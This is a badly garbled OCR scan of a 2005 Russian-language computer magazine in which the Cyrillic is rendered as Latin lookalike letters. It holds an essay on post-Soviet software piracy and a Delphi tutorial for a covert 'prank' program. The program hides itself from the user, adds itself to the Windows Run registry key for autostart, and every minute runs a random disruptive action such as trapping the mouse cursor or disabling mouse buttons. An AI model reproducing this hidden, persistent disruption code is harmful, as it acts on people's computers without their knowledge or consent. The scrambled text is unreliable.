n1onbL308aTeb NPepnoYnTaeT HESTMLJEH3MOHHbLIE NPOrpaMmMbl NMUEH3NOHHBIM, CliegyeTt OﬁpaTVlTbCﬂ K NUCTopunn,
KOTOpaA yBoauT HaC B cobbiTA gBafUaTUAIeTHEN aBHOCTY. V6o, kak yTBEDXAAIOT CpM/'IOCOCfJbI, KTO XO4€eT
MoHATL HacToswee, ToT bea 3HaHua NPpoLUIoro ero HUKorga He MoOVMET.

Hcmopus oGpemenus omevecmsenoeo [T-Menmanumema®

Tak, posHo 20 net Hasag 8 rocyaapcTso noa Haasannem CCCP
BbiNa 308E3€HA NEPBAs NAPTUA SMOHCKOTO Yyaa ans obecneve-
HUA KOMMBIOTEPHOMA TPAMOTHOCTH LUKOMEHWKOB W Byylumx yuu-
Tenen wHdopmarnkn — Yomaha 1. 3rot MK, uentpanusoso-
HHO 30KyNAEHHBIN COI3HBIM MUHMCTEPCTBOM NPOCBEWEHNS, Conep-
xan BCTpoeHHbin MSX Basic, komnnektosancs HEeCKONsKUMW aucKe-
Tami 3.5” 1 oaHm 0BLIMM AMCKOBOAOM HO AECATOK-APYTON MALIMH.

B cTaHaapTHOM NOCTOBKE ONEPALMOHHOM CUCTEMSI HE BBING, KaK
He 6bino u nporpammHoro obecneyenus. Kaxasii Xenaowmi uim
CTPOXAyLWMA fomxeH Bbin NUcaTh 4ns ceBa NPOrPammbl Cam MK NPOo-
CUTb 3TO CABNATHL KOTO-TO BONee UCKYLEHHOTO.

fog cnycts nuHenka nepcoHanbHLX komneioTepos Yomaha 6bi-
A0 AONONHEHA BTOPON MOAENBLIO M PACLIMPEHa aHMuickum Bpat-
uem Sinclair, koToporo poanun ¢ anoHuamu npoueccop Zilog 80.
Onepaunontas cuctema MS DOS gns 370% AnoHO-GHIMMUACKOM ce-
MEMKM He 3acTaBrna cebg XAaTh 1 MHOTME NONL30BATENM BAPYF CTA-
T Y3HABATB, YTO NPOFPOMMBI MOTYT CyLLECTBOBATL HE TOMLKO B BU-
ae Basic-uHcTpykumi, HO 1 8 BUaoe oBBEKTHOrO KOAa, FOTOBOTO ANA
UCMONHEHWS KOMMBIOTEPOM. M uyno He 3apepxanocs — nybnuke,
sniobuswencs 8 Yamaha, ssunuces 1 anektporHsie Tabnuus VisiCale,
v cuctema ynpasnenus 6asamu aanHbix DBase (Bepcum HI-IV), v nHbie
nonesausie selwy. MNoHITHO, 4TO BONPOCH TMUEH3MPOBAHMS MPOrPaMM-
Horo obecneuerus 8 cTpare noa Hassaruem CCCP He BosHukany,
H6O OHW BO3HWKHYTb HE MOIMKM B NpUHUMNE.

Hekotopoe Bpems cnycrs Ha BeckpaiHix NPOCTOPAX BENUKOW
CTPQAHBI CTANM NOSBNSTLCA amepukaHckue Teopenus IBM. Mobearnoe
WECTBME HAYANOCH C MLILUHOM Npe3eHTauny 8 Mockse (ecnn mHe He
U3MEHRET NamaTs, 8 MIHCTUTYTE CTanu 1 cnnasos) npeactasutensmu
atoi Gupmbt aByx mopenei — npogsunyTton PC AT 1 «koHuenTyans-
Hor mopenn Byaywero» PC 286. Ot nocnegHen mockosckas ny6-
nuka Buna B BOCTOpPre, 4To npegonpeaenyno ycnex IBM PC va gon-
rMe roasl.

Mepconansrbie komnsioTepsl paaa PC XT/AT ua nons3osarens-
CKOTO NPOTPAMMHOTO OBECNEYEHUS UMENM B HOMMHMM ONEPALIMOH-
Hylo MS DOS, kokoi-nubyas HesaTeinuseili TEKCTOBLIN PeaakTop,
komnunsTop wan Tpancnatop Basic, a nosaxe — Pascal... 310, noxa-
nyi, sce. [Noptuposanue Ha nnardopmy MS DOS & Intel anektpon-
Heix 76, HanmcarHoro A. MaxutHossim «Tetprca u apyrux yxe
CyWeCTBOBABLIMX Nporpamm Beino ewe enepean. OtkposerHo Be-
WEHBIE LieHb HO NepcoHansHeie kommbioteps IBM PC penanm ux
NPEAMETOM CYNEPPOCKOLLM, KOTOPbIA AN MHAWBMIYQABHOMO NOABL3O-
Barens Huin HEeROCTUxXMM. ECTECTBEHHO, HM © KQKOM NMPATCTBE B 3TO
BPEMS Peub He WA, NOCKOMBLKY CTATYC MPegmMeTa BO3MOXHOIO BO-
POBCTBA — KOMMBIOTEPHON NPOTPAMMBl — 3AKOHOAATENHO He Bbi
onpeneneH.

HakonmBwonacs GeHexHas Macca U PA3PELLEHHBIA KOMMYHUCTH-
YECKOM BNACTBIO KYPC HA MHBOPMATUIAUMIO MPOLECCOB CTUMYNMPO-
8ANM GUPMBI M NPEANPUATUS K NOKYNKE NEPCOHAIBHBIX KOMMbIOTE-
POB, KOTOPbIE AOMKHLI BbiNK IKCNAYATUPOBATLCA — HA HWX AOMKHb
BbiAM MCNONHATLCH HyXHbIE Nporpammel. EctectsenHo, 3t nporpam-
MBI TAE-TO HyXHO Bbino Bparth. ..

Kakoi ebixof 66N HOAREH BAGRENLLAMM KOMMBIOTEPOB, AOrA-
AQThCA HETPYAHO. K 3TOMY NOATANKMBANG 30KOHOAATENLHAS CUTYO-
UMsA, KOTOPAS HE MPEANONATANG BHECEHUS M3MEHEHWA B 4OCTW pe-
rYAMPOBAHUA NPABOOTHOLWEHWH HA PIHKE MPOTPAMMHBIX NPOAYK-

* |T-meHTanMTET — CEUMBUUECKUI TUM MBILUNEHWS, OTPAXAIOLLMA YCTORIMBBIE NMPWBLIYKM, HPOBL U Gopmbl noseaenns IT-nonsaceartens.

TOB. DTH UIMEHEHHA MORBUNNCH B 3AKOHOLATENLCTBE 3HAHMTENBHO
nosxe.

EcrecteenHo, pas 3akoHom He BeinO OroBOPEHO, YTO NpedcTas-
nseT coBoi KOMMLIOTEPHAS NPOTPAMMA, TO GUPMAM U NPERMPUATH-
M HYXME NPOFPAMMBI MOXHO BBING HE NOKYNATE,  «3AMMCTBOBATL?
He3 BOR3HM NONL3OBATLCA MMM, O NPETEH3UKH COBCTBEHHWKOB OBTOP-
Ckvx NPaB (ecnu TakoBbie OBLABATCH) HE NPUHUMATL. TOK MBI MPOXK-
nM NOYTK cemb net. [oCKoNbKY K «XOPOLWEMY» YENOBEK NPMBLIKAET
BLICTPO, TO eMy X04eTca, YTOBbI 3TO «XOPOLWee» GhINO BEYHBIM.

3ametHoe naaenve UeH Ha komnboTepsl IBM B 1992-93 rr.,
BLI3BAHHOE MOSBAEHUEM HA YKDAMHCKOM PbIHKE HOBbIX MOAenei
(PC 286/87, PC 386/87), caenano ux no4TH GOCTYNHLIMWA ANS HOM-
bonee HeTepnenuebix nomszosatenen. [paxaaHe YkpauHsel Hava-
Y NPHBATHYIO KOMMBIOTEPHU3ALMIO M MACWTAGL: NMPATCTBA CTANK
Bo3pactate. [lokynats NEPCOHANLHbINA KOMMLIOTEDP AOMOM NWLLb ANS
Toro, 4Tobu nporpammuposats Ha Basic unv Pascal, morau nosso-
nmTh cebe HemHorMe cymacwenwnve. bonswas vacrs sauHTepeco-
BOMHLIX POXAGH AENANA MOKYNKM B POCYETE HA TO, YTO CMOXET
NOABL3OBATHLCA MOSBASIOLUMMUCA NPUKNCLHEIMA NPOTRAMMAMM, CNO-
cobHbIMM 0BneruuTs paboTy € TEKCTOM, MOCCUBOMM YUCTOBbIX AOH-
HBIX W TN

Ocobrskom seipensnacs nnatdopma Apple, ans kotopown (Haum-
Has ¢ moaenw Lisa) yxe Bein peanusosan nonb3osarensckuid WIMP-
untepderic (windows, icons, mice, pointers — OKHQ, MUKTOTPOMME
WAK UKOHKM, MbllUb, YKA3ATENM), OCYLLECTBNEHA NOABEPXKA NANOK W
ONWHHBIX MMeH Gannos, a Takke PaspaboTaHO NPUKNaAHOE NPo-
rpammHoe obecnedeHne, 04eHb HONOMUHAIOWEE CETOAHALLIHME OduC-
Hble NPOrPAaMMBI. HO OuEHb BLICOKAS UEHO MOWMH HO Naatdopme
Apple (koTopsie NPOLABANMCH TONBKO BMECTE € NPOTPaMMHLIM Obec-
neyeHKem) NPENATCTEOBANG UX WHMPOKOMY PACHPOCTRAHEHMIO, U HIt-
Wy NepCOHONEHLIX KOMMIOTEPOB HO MPOCTOPAX DbiBLUEH MOryden
nepxassl 3oHana nnatdopma MS DOS & Intel.

Tax fOmkHO BEINO CAYHMTHEA, MOCKOMBKY OTEYECTBEHHBIA NONL3O-
BATENL XENAN NOKYNATh UMEHHO KOMMBIOTER, O HE KOMMLIOTED BME-
cTe € Kakumu-To nporpammamu. [pakmidecku sce 6e3 ucknoueHus
«KOMMBIOTEPHLIE? PABOTHUKM QUPM KM NpeanpusTUA Bbink BOCTMTA-
Hbl HQ TOM, 4TO NPOrPAMMbI KTO-TO ROMKEH 4OBATH UM MOCTABASATL —
HO uTOBbI Ux nokynaTsel Penkue nomawHue nons3osaten aymanu
QHONOTUYHO.

MHaue roBops, MApKETUHIOBAS MOnMTIKa Gupmsl Apple He ime-
G HY MANEAWero WaHCa HA YCnex y HAWero, OTeYeCTBEHHOro
nons3osaTens. D10 GAKTUHECKU M ONPEAENNAD HANPABNEHWE Pa3-
BUTUS OTeuecTeeHHOro IT-pLiHka, B TOM uMCie W NPOTPAMMHOIO
obecneqeHus.

Ckpomebie Bo3moxHocti nnatgopmsl MS DOS & Intel nepeon
nonosuHel 20-x ronos BkinM CyLECTBEHHOM NPErPOAOH K TOTANLHO-
My MPOHUKHOBEHUIO KOMNBIOTEPOB B MACCH W «C 3TMM HORO Obino
4TO-TO pewatsy, [Mockonsky «CBATO MECTO NYCTO He BuiBAETY, TO ero
BOBpEMS peluuna 3aHsTe Microsoft co caoeit Windows 3.1 rus v Tex-
cTosbim peaaktopom Word. M 10 1 apyroe cpasy Tax NOHPOBUNOCH
OTEYEeCTBEHHbIM NONL3OBATENAM, HTO OHM, HE KONEBNACs, pewmni 3a-
BuiTh MUNBIE CepaLy Lexicon 1 apyre Ha HEro NOXOXME PENaKTap.I,
HauaBlMe Buino akTBHO pacnon3arses no IBM-cosmecTumbim kom-
NbIOTEPaM.

MoHSTHO, 4TO O NOKyMKe NPOrPAMMHOFO obecnedyeHus peub He
WANQ, NOCKONBKY PAACBOMY MONL3OBATEMO He3adem 310 Beino fge-
NaTh: 3HAKOMBIA 3HaKOMOro paboraeT Ka ¢upme, e ectb Win-
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1 Komnac

dows & Word & etc. u MOXHO TUXO 3aNOMY4UTh BOXAENEHHBIM NPO-
AYKT N0 pACNPOCTPAHEHHOR BapTepHOn cxeme «Tbl mMHe — st Teber.

B pesynstate 30 HENPOAOIKUTENLHOE BPEMA PEKMIA COOTEHECT-
BEHHWK HO CBOEM JOMOLIHEM KomMbioTepe He nmen Windows & Word
W UHBIX NPOTPAMM, JOXE O4YEHb AGNEKWMX OT €ro UHTEPECOB, HO 30-
NACAEMBIX «HA BCAKMA Cy4aity. Ha oTeyecTBEHHOM phiHKE NPOrpaMM-
HOrO OBECNeyeHra HOCTANO BPEMS PEANBHOTO KONXO3HOTO KOMMY-
Husma. MNpaspa, 8 Bonblyio koNxo3Hylo Houky Meaa CTanu Bce 4Ya-
e NonaaaTh NOXKM AEMTS 8 BUAE HOUABLLMX BXOAUTb B MOLY PEru-
CTPOLMOHHBIX KIKOYEH W UHBIX HEYA0BHbIX Belen.

W TyT HO NOMOLLIL OTEYECTBEHHbBIM NONL3OBATENAM NPULLINK XTKE-
b, HEYEMHQAR SHEPIUS KOTOPLIX ELUE HE MMENa CKOMbKO-HMOYbL 3a-
METHOrO NpUMEHEHHS. XaKepsl, yxe 0BpeTLLme aHaTOMUMECKHH OMbIT
HQ TEax MHOMMX NPOTPAMM, CTANKM YCMEWHO NPENapUpOBaTL MHTE-
PECYIOLME NOML3OBATENA MPOTPAMMHBIE NPOAYKTH. 30 HECKOMLKO
AIET TUTAHUYECKUMI YCUIUSMM XaKEPCKOH Bpatun Buino Grarononys-
HO B3/IOMAHO MPAKTMYECKW BCE CYLLECTBYIOWEE TOTAA (M AOCTORHOE
BHUMOHMA) nporpammHoe obecneyenue, Gnaro yposeHb 3aLmMTe! TO-
ro NEpPUOAa Bbi EUle «AETCKUMY M MPOTPAMMEI TPOCTO CAMM HAMPQ-
WMBAIMCh HO B3NOM.

CHuxenve ueH Ha CD-npusoasl, NpUWeaLeecs Ha 3ToT nep1og,
€Noco6CTBOBAND NEPEXOAY NOCNEAHWUX M3 PA3PAAT IKIOTUYECKHX Ae-
Bavcos 8 paspaa nosceaHesHbix. Ho CD-ROM 6e3 Hocutens — Bec-
nonesHoe xeneso, nostomy CD-gucku cranu Tpebosarscs Bce B
Bonblwmx koauuectsax. Kak n3BecTHo, «MPUPOAC HE TEPRMT NyCTo-
Thi» U €8 AKTUBHO B3ANMCH 3AMNONHATE BONTAPCKME YMEMbLL, «3AKA-
THIBOS» HO ONTUYECKME HOCUTENMW BCE, Y4TO YXE BbiNO B3NOMAHO 1 AQ-
XE TO, 4TO TOMBKO CTOSIO B OYEPERM HO B3NOM.

Bazarku koHTpaBaHaHbEX «BONBOHOKY XIbIHYAM HA TEPPUTOPUIO
OTEYECTBA W TOProBATL MMM BIANIMCHL BCE Xenalowme. beictpo nouss
BBLIFOAHOCTL NOAOBHOrO «BK3HECa», NOCTCOBETCKUE YMENbLbl CaMU
OCHACTUAMCL OBOPYAOBAHUEM M CTANM GKTUBHO BHITECHATH C NMPAT-
CKOTO pbika BOArAPCKUX APY3ei.

A B 370 Bpems B aanekoi 1 BnarononyurHon Amepuke... Microsoft
BbiNQ 3AHATA NOATOTOBKOM K BLIMYCKY 8 CBET «MPHMHLMIUALHO HOBOMY
onepaumorHoin obonodkn Windows 95, passeprys Becnpeuenent-
HYIO peknamHyio komnanmio. Pynessie Microsoft aener Ha PR He xa-
nenu, ubo 3HANK NO COBCEM CBEXEMY OMbITY NpoasuxeHms Windows 3.0,
4TO BAOXEHUS OKYNATCS C NMXBON. PeamonHackie MmapkeTonori nomcuu-
ToiBaM Oyaywime 6APbILLM, NO HAMBHOCTM QYMQAR, YTO U NOCTCOBETCKMN
nons3osarens Byaet nokynate ux Windows no wx uene.

OnHaKO OHM, XWBYLLME B CBOEM, COBEPLIEHHO WHOM MWUPE, HE
noxenanu xots bl NOBEPXHOCTHO M3y4nTb 3TOTO NOTEHUMAMBHOTO
NOKYNATENS: €70 MATEPUANLHLIE BO3MOXHOCTH, EI0 NPEANOYTEHUS,
ero OCTanbHLIE «0CobbIE» KAYECTBA, AOCTABWMECH NO HACNEACTBY
OT counanucTiyeckoro obpasa xusku. Microsoft Toraa gonycruna
TOKOW CTPATErMHYECKMI NPOCYET, KOTOPLIA HE YAJETCS UCNPABUTL A0
cHx nop.

B kopHe wenpasuisHas yeHosas noautuka Microsoft ans nocr-
COBETCKMX NONb30BATENEH KUBYLLMX B COBEPLEHHO APYTMX LIEHOBbIX
MacWTabax, NPW NOMHOM OTCYTCTBMM 30KOHOAATENLHON 6a3bl, pe-
TYIMPYIOLWER NPABOOTHOWEHU 8 cdepe pacnpOCTPAHEHWs Npo-
rPAMMHOTO OBECNEHBHMS, MPUBBLIKLUMX K TOMY, YTO «BCE BOKPYF KO-
XO3HOE, BCE BOKPYT MOE») OKTMBHO NOACTPEKANA QPMUIO OTEYecT-
BEHHbIX NONL30BATENEN K TEM AENCTBUAM, KOTOPLIM CEMYAC CAOMO Nbl-
TAETCA NPOTMBOCTONTL. KK rOBOPHUTCS, «4TO NOCeelwb, TO NOXHELLbY. ..

K sctpede Windows 95, sannanuposarHodn 8 Poccmm v Ykpaure
Ha centabps 1995 ropa, roToBMAMCL BCE: U NORL3OBATENM, U XOKE-
pbi, U «BusHecmens». Bee xaany, Ho kaxawit — ceoero. Monssosa-
TENW — BINIOMAHHBIX KOMUA CUCTEMBI HO NOTKOX M BUTPMHOX, XaKe-
Pbl — 3K3EMNIIAP CUCTEMbI OfIS «NPENAPUPOBAHUSY, «BUIHECMEHbI» —
30MyCKQ 8 NPOU3BOACTBO HOBOM CepPUM MMPATCKUX auckos. M Microsoft
ONpasaana 8CeobLME HOREXAb:: K KOHUY rOAQ OTEYECTBEHHBIA Mu-
PATCKMA PEIHOK NOMY4WI B AOCTATOMHOM KONMYECTBE PYCCKYIO NOKA-
nuaaumio sanomanHoro Windows 95! Ocranock HemHoro noaoxaars,
noka BuiMaeT v Bypet Banoman obewarHsii Hosbin Office.

Kak nocrynanu npusatHeie nosnb3oearent, noHstHo. Ecnu kto ay-
MQET, 4TO DUPMBI, BAOXHOBAEHHbBIE MOPLIBOM 30KOHONOCYLIHOCTH,
03a60TUAMCL HEODXORUMOCTBIO CIEROBATL AEHCTBYIOLMM 3QKOHOM
YKpauHbl 1 npeHeBpernu AeleBnM3HON NMPATCKOTO PLIHKA, TOT M-
Boko ownbaetcs. Heckonsko gonnapos 3a nuparckuii CD, nexa-
LIME HO OOHOM YOLIE BECOB, NOMTW BCETAA NEPEBELMBANK HECKOMbL:
KO COTEH «ULEH3UOHHBIX» ACANAPOB HA APYrON.

B pesynstare HenvueHanoHHeM 95-m Windows, Office for Win-
dows 1 Npo4Yrm NPOrpaMMHbIM OBECneYeHnem CTANU OCHALWATHCS

MOWM KOMMbLIOTEP

. —

NPAKTHHECKM BCE OTEYECTBEHHBIE NONb30BaTENM. He Bpesrosani 3mum
M rocynopcreeHHble yqpex,uequ, “n y“le6HbIe 30BENEHUS, U MHOTUE
apyrve, nokynawowme 486-e u Gonee NPOABUHYTHIE KOMMBLIOTEPSI.
Cpenv wnpoxmux macc crano 3bdektusHo dopmuposarscs yoexae-
HHWE, 4TO NONL3OBATHCA BOPOBAHHbIM ﬂporpOMMHblM O6eCﬂeHeHMeM
HE TOMBKO MOXHO, HO W CYLLECTBEHHO Aellesne.

Fon 1996-4 1 Heckonbko NOCNEAYIOLIMX TOMBKO YKPENNSAN B CO3-
HOHWW NOACBARIOWEro BonbLMHCTBA Nonk3osaTened, uto 600-700 M6
NPOrpaMmHore obecnedeHms, CcBoBOIHO NOKYNOKWEECS 3 CUMBO-
AMYECKYIO UEHY Y NPOAABLA NMPATCKOW NPOAYKUMM, — HOPMAMBbHOE
SBNEHWE COBPEMEHHOM X13Hu. Banbie nonuiTkn npoussoauTtenei npo-
PAMMHOTO OBECNEYEHIUS YTOBOPHTE HOLIMX COOTEYECTBEHHMKOB M0~
KYNaTe MMUEHIMOHHBIE NPOTPAMMBI BHI3BIBANKM TONLKO ynuibky. Hy,
CKQXUTE, 3aYem MAQTWTb COTHIO-ABE HOMNAPOB 30 NUUEHINOHHLIM
Windows, 4ToBe nonyumTs Te Xe «IMiokMy, YTO M 3 4Ba 4OANAPQ,
OTAQHHBIE 30 MMPATCKYIO KOMWIOE

fon 1998-i no pa3suTuio COBBITUI MANO Hem OTAMYANCS OT
95-ro, passe 4TO B3nomaHHbii Windows 98 noseunca Ha notow-
HbIX PACKAQAKAX YYTh M HE B AeHb ero npesentaumu B Poccun. He
APUILNOCHL ACAFO XAQTh W OBGHOBNEHHLIX BEPCMI OCTANBHOTO KOM-
nnexta nporpamm. Bee yxe Buwno onpeneneHo u oTperynMposa-
HO: HUPMBI, 3GHUMABLIMECS TUPOXUPOBAHMEM MMPATCKOTO COPTA,
HE CTECHANWUCH KPYNHEIMM BYKBAMM MMCATL CBOM HA3BAHMS Ha CD-
AUCKAX, «CONMAHBIEY NPOACBUSI — BHINYCKATH MPAWCH MMEIOLWETOCH
NUPATCKOrO NPOrPAMMHOTO 0BeCneyeHns CO CBOUMM PEKBU3NTA-
mu u norotunamu. Uens Ha CD-auckm pesko ynanu, w toprosns
nowna ewe Honuee.

Toproso-nupaTckmi GBUIHEC yKE B OTKPLITYIO W C BOCTOPFOM Npu-
BETCTBOBANCA LUMPOKMMA MOCCOMM: OTEYECTBEHHBIE NONL30BATENM
OKOHHYATENbHO YKPEMWUAUCh B MBICIM, 4TO KOMMNEKT MPOrPAMM CTOWT
UMEHHO CTONBKO, CKOALKO npocaT npoaaeus 3a CD-guck. MNpasaa,
U3 3TOrO PRAQ CTANW BPEMA OT BPEMEHM BHINQAATH KOPNOPATHBHLIE
NONL30BATENM, GUPMbI, KOTOPBIM KCAPATATLCAY BHINO YXE HEBO3MOX-
HO B CUIy GUHOHCOBOM 3QMETHOCTH, MPOWU3BOAMTENMU NPOMPAMMHO-
ro obecneuenms, Hauaswmre PaboTaTs HA 3apyBexXHbIR PLIHOK.

MocneaHui rog yxopsWero BeKa BHEC HEKOTOPOE CMSTEHWE B
ymbl IT-nonb3osatenen — npasaa, Henagonro. Hanorossie uHcnek-
uan Bapyr notpebosanu OT Gupm, OPraHU3ALMIA U YNPEXAEHWHA 3a-
NOMHUTL OTHETH 06 MMEIOLLENACH KOMMBIOTEPHOM TEXHWUKE W UCNOMb-
3yemom nporpammHom obecneuernn. Byxrantepsl apyxHO 83anm1ch
3G AeNO ¥ OKA3AAOCh, YTO KOMMLIOTEPLI HA GUPMAX ECTb, HO One-
pauronHoi cuctemon Windows mano kto nonbayerca. [pu 3anon-
HEHWM OTYETHOCTU HekoTopbie Byxranteps aaxe caenanu ans cebs
OTKPLITUE, HEOXMAAHHD Y3HAB, YTO KOMMLIOTEPHBIE NPOTPAMMBI CTO-
a1 gewer. Ho cmatenne npowno Tak xe BLICTPO, kaK U OTHET, 1 BCe
CTANO HA NPUBbLIYHLIE MECTA.

Bckope Microsoft Hauana npossnats HOCTORYMBOCTL B CBOEM Xe-
NOHWM NPORABATL MPOrPaMmsl B Ykpaure u ctana Tpebosars yepes
snactv CLLIA ot Houmx rocyrapcTeeqHsix cTpykTyp cobnoaenms 3a-
koHoB 06 asTopckux npasax. M naxe Hamepunacs onpegenuTs cpo-
ku: mon, k1o He ycnen o koHua 2001 rono — ToT onosaan M nycrs
toraa He obuxaetcs. Hexotopuie dupmsl (¢ nepenyry?) ctanm uc-
KQTh MPOAGBLOB NEranbHOTO NPOTPAMMHOTO 0BECNEYEHMS, B H4OCT-
HOCTH, NPEACTaBNSIoWMX Npoaykumio Microsoft,

M TyT 0Ka3anoce, 4TO KyNuTb NueH3noHHsn Windows 98 noc-
TatouHo npobnematiuro. B ocHoeHom 6bin npenctasnen 6onee go-
poron nuuensuoHHbin Windows 2000, Ho oH, kak u3BecTHo, He cO
BCAKUM OBOPYAOBAHUEM U HE CO BCAKMMM NPOTPAMMAMI CTAHET pPa-
Borats. A kyao 0esaTs ckaHepsl, Win-Momemsl, CAENAHHbIE NOA 30-
Ka3 nporpammele Hanuume nUUEeH3IWH HA «NPUHLMNKANBHO HOBYIO»
Windows XP Takxe mano koro yrewano. W «HenpusnekatensHas»
UeHa, v 30sBneHHas paspaboTunkom HecosmecTumocTs ¢ OC He-
KOTOPLIX MPOrPaMM CAENANK CBOE AENO.

Motom 6LINO NpoaneHre CPOKA KOHLA CBETA, NOMLITKM HANOTO-
BON MUNULIKMK B OTAENBHO B35ATbIX MECTOX YYMHMUTL NDOBEPKK HA Npea-
MET NEranbHOCTU UCNONL30BAHUS NPOrPaMMHOT0O obecneyerms. W3
MQAra3uHOB CTAMM MCHE3ATH OTAESLI C MMPATCKUMM AUCKAMM, COKPO-
TUNOCH YACNO PHIHOYHBIX PACKNQLAOK. .

Ho 370 yXe He MOrO HUHYETD U3MEHUTL: MEHTANKUTET OTEHECTBEH-
HbIX NOTPEbUTENEH NPOrPaMMHOTO OBECMEYEHNR B PE3YNLTATE KAX-
OOAHEBHBIX HOCTORUMBBLIX YCMAWI NMPATCKOR BpaTui okasancs chop-
MWPDOBAHHbIM B OyXe ((O,ﬂO6p9MCO» UHTENNEKTYANBHOIo BOPOBCTBA,
UTHOPWPOBAHUA HYXHMX UMYLECTBEHHbIX U HEUMYLLIECTBEHHbLIX NPAB,
30KOHOAATENLHOTO HesmewarenscTea. Peberok BepoC.

HT0 ¢ HMM enaTh Aanbuie — NOrOBOPUM B CNEdyloWwmMid pas.




paepammuposanue

Ymo Obl makoeo cqenamb nA0X020?

Cepren MAPVDKCKUIA

CyLuecTByeT MHOXXECTBO Cnocob0oB noguyTuTe Hag nons3osatenem. Mei paspaboTaem nporpammy, KOTopas
6yneT He3aMeTHo paboTaTb v NePUOANYECKN BbIMONHATL CY4anHyo NpoLUeaypy.

AR TOro, 4TOBbI BLINONHATL NEPUOANHECKUE AEHCTBUA, HOM NO-
HaROBWTCR KOMNOHEHT timer U3 Bknadky System. [Mporpam-
ma OyEeT BHINOMHATL KAXAYK MUHYTY CIYHOMHO BbIBPAHHBIN
npukon. Y1obsl Taimep cpabaTHIBON KAXOYIO MUHYTY, HYXHO
YCTAHOBMTL CBOWCTBY Interval 3HaueHwe 60 000. bonbwe Huka-
KMX CBONCTB HU 4N GOPMbI, HU ANS TARMEPT UBMEHATL HE HYXHO.

MepBoe, 4TO HYXHO CAENaTL ANs NPOrPAMMbI NPUKONA, 3TO
CKPbITH €€ OT ra3 nons3osatens. s 3Toro 4OCTATOYHO CO3AATH
cobbiTne dopmsl OnPaint W HAMUCATE B HEM CIERYKOWMHA KOA:
procedure TForml.FormPaint (Sender: TObject);
begin
forml.hide; //npsyem ¢opmy
end;

30€eck Mbl NPY KAXA0WH NPOPUCOBKE GOPMBI NPSIYEM €€ U3 BU-
Ay, NPYU 3TOM OHQ UCHE3HET C NAHENU 3aAd4 W He 6yueT BUAHO
Ha Bknagke «[Ipunoxenvs» 8 ancnetyepe sapay Windows.

Elie oaHO BaxHOE AEVCTBUE ANS NPOTPAMMBI-MPUKONA — 3TO
30rmuMcaTh cebs HO aBTO3ArPY3Ky M CTAPTOBATL BMECTE C 3anyc-
kom OC. [Ins s1oro cospante cobbitve rmasHon Gopmbl On-
Create M HOMUMLWKTE TAM CAERYIOWMHA KOA:
procedure TForml.FormCreate (Sender: TObject) ;
var
reg: Tregistry; //nonsa paboTH C peecTpoM
path: string; //conepxunUT NyTh K Halleid NporpaMMe
begin
randomize; //TeHepaTop CRNYyYaWHHEX YMCen
path:=Application.EXEname; //y3HaeM Iy Tk K NpoTpaM-
Me 1 ee UMs
reg:=tregistry.create; //OTKDHB&EM PEECTD
reg.rootkey:=HKEY CURRENT_USER; //BeTKa TEeKYWero
onb30BaTerst
if reg.openkey(’\Software\Microsoft\Windows\Current
Version\Run’,true) then begin {oTKpHBaeM paznen ae-
TO3arpy3Ku}
reg.writeString(‘Joker’, path); //nenaem 2anuck Ha-
mey NporpaMMu B @aBTO3arpy 3Ky
reg.closekey; //3akpHBaeMm peectTp
reg.free; //ocBoboxnaem naMsaThL
end;
end;

Yrobu 310 8ce pabotano, Heobxoammo nobasuTs 8 pasaen
NOAKMIOYEHWUS MOOYNEN uses €elle OAMH mMOAyNb — Registry
Mpu 3anycke Nporpammsl OHA Y3HAET, C KAKOFO KQTANOIA OHG
3QMyLEeHa U KK OHQ HO3bLIBAETCA. HOM HyXHbl 3T AQHHbIE Ons
TOro, 4tobbl NponMcaTe ee B pasgen QBTO3ArPY3KU B peecTpe.

Teneps BCe roTOBO, Y4TOBLI NMCATH NPOrPOMMHBIE NPUKONbI
CHauana o6basum sCe rnoBansHLie NepemMeHHbIE 8 pO3dene var:
var
Forml: TForml;

//Onst OTKNOYEHNS MHIIM W KIaBUaTyph
Dummy: integer = 0;

0ldKbHook: HHook = 0;

//Ons CHATUS CKPUHULIOTa

BMP1: Graphics.TBitmap;

DC1 :HBC;

Imagel: TImage;

// Onsi IOMCKa CNy4YaWHOoTro pUCYHKa
fn:TSearchRec;

Finds: integer;

i: integer;

endval: integer;
err_str: string; //BuBOL OmMOKM

tm: TsystemTime; //u“3MeHeHNUe BpeEMEHNU

reg: Tregistry; //ans paboTH C peecTpoM

JokeNum: shortint; //HOMep NPUKONa, KOTOPHIMA HY KHO
BHIITIOJITHUT b

curs: TRect; //KOOPAMHATH [PSMOYTONIbHUKA

Bce npukons ByayT onuceIBATLCS B EAUHCTBEHHOM CODLITUM
Takmepa OnTimer. Honuwute B8 3Tom cobbiTUM TAKOM KOA
procedure TForml.TimerlTimer (Sender: TObject);
begin
JokeNum:=Random{10) +1; //BubupaeM CcnyyalHH HOMED
npuKkona
case JokeNum of //BHIOJIHSEM MPUKOT
L%
begin
/ /KOO NepBOTO NpUKona
end;

2%

begin

//Kono BTOpOTO NpuKona
end;

3%

begin

//Kon TPETBLETO NPUKOTa
end;

4:

begin

/ /KOO 4eTBEPTOTO NpuKona
end;

Bi:

begin

/ /KOO NATOTO NpUKOoNna
end;

(S o

begin

//¥on wecToro Npukona
end;

T

begin

/ /KOE CenbpMOTO IPHUKOJIa
end;

8:

begin

/ /KOO BOCBMOTO NpPMKONAa
end;

9E:

begin

/ /KOO OeBATOTO NPUKOJa
end;

10k

begin

/ /Koo BecsaToro NpmMKona
end;

end;

end;

3710 wWabnoH ans reHepaTopa NPUKONOoB. 3aeck BubupaeTcs
cnysanroe uucno ot 1 no 10, kotopoe Gyner onpepensts, ka-
KOW M3 NPUKONOB CAENaTs Ha 3ToW muHyTe. [lanee s Byny onu-
CbIBATE ONPEaENeHHbIR KYCOK KOLO, KOTOpbIA ByaeT Aenots ka-
xoe-nubo pedcTeue, a Bl HyneTe BCTABAATL BMECTO KOMMEHTA-
pvR COOTBETCTBYIOWMHA KOA NPUKONO.

MTak, nepebit NpUKON — 3TO OFPAHUYEHWE HO AMANA30H ABK-
KEHUS MbiLLIN:

N225/352 20 uioHa—27 uoHa 2005




| Moozpammupogate

curs:=Rect (0,0,screen.Width div 2,screen.Height) ;
ClipCursor (@curs);

[Tocne 31oro kypcop MbILLK HE CMOXET 3AXOAMTL 30 BTOPYIO MO-
NOBUHY 3KPAHA U CMOXET PABOTATL TONLKO € NONOBMHOMA SKPAHA.

Bropon npukon Hyner Toxe C MbllbK, HO NOCepbesHee —
MCNONb3ys NEPEXBATh GYHKUMA, Mbl CAENAEM KHONKW MbILUW He-
po6OHMMM. To ectb HK neBas, HU NPABAA, HU CPEQHAA KHONKA
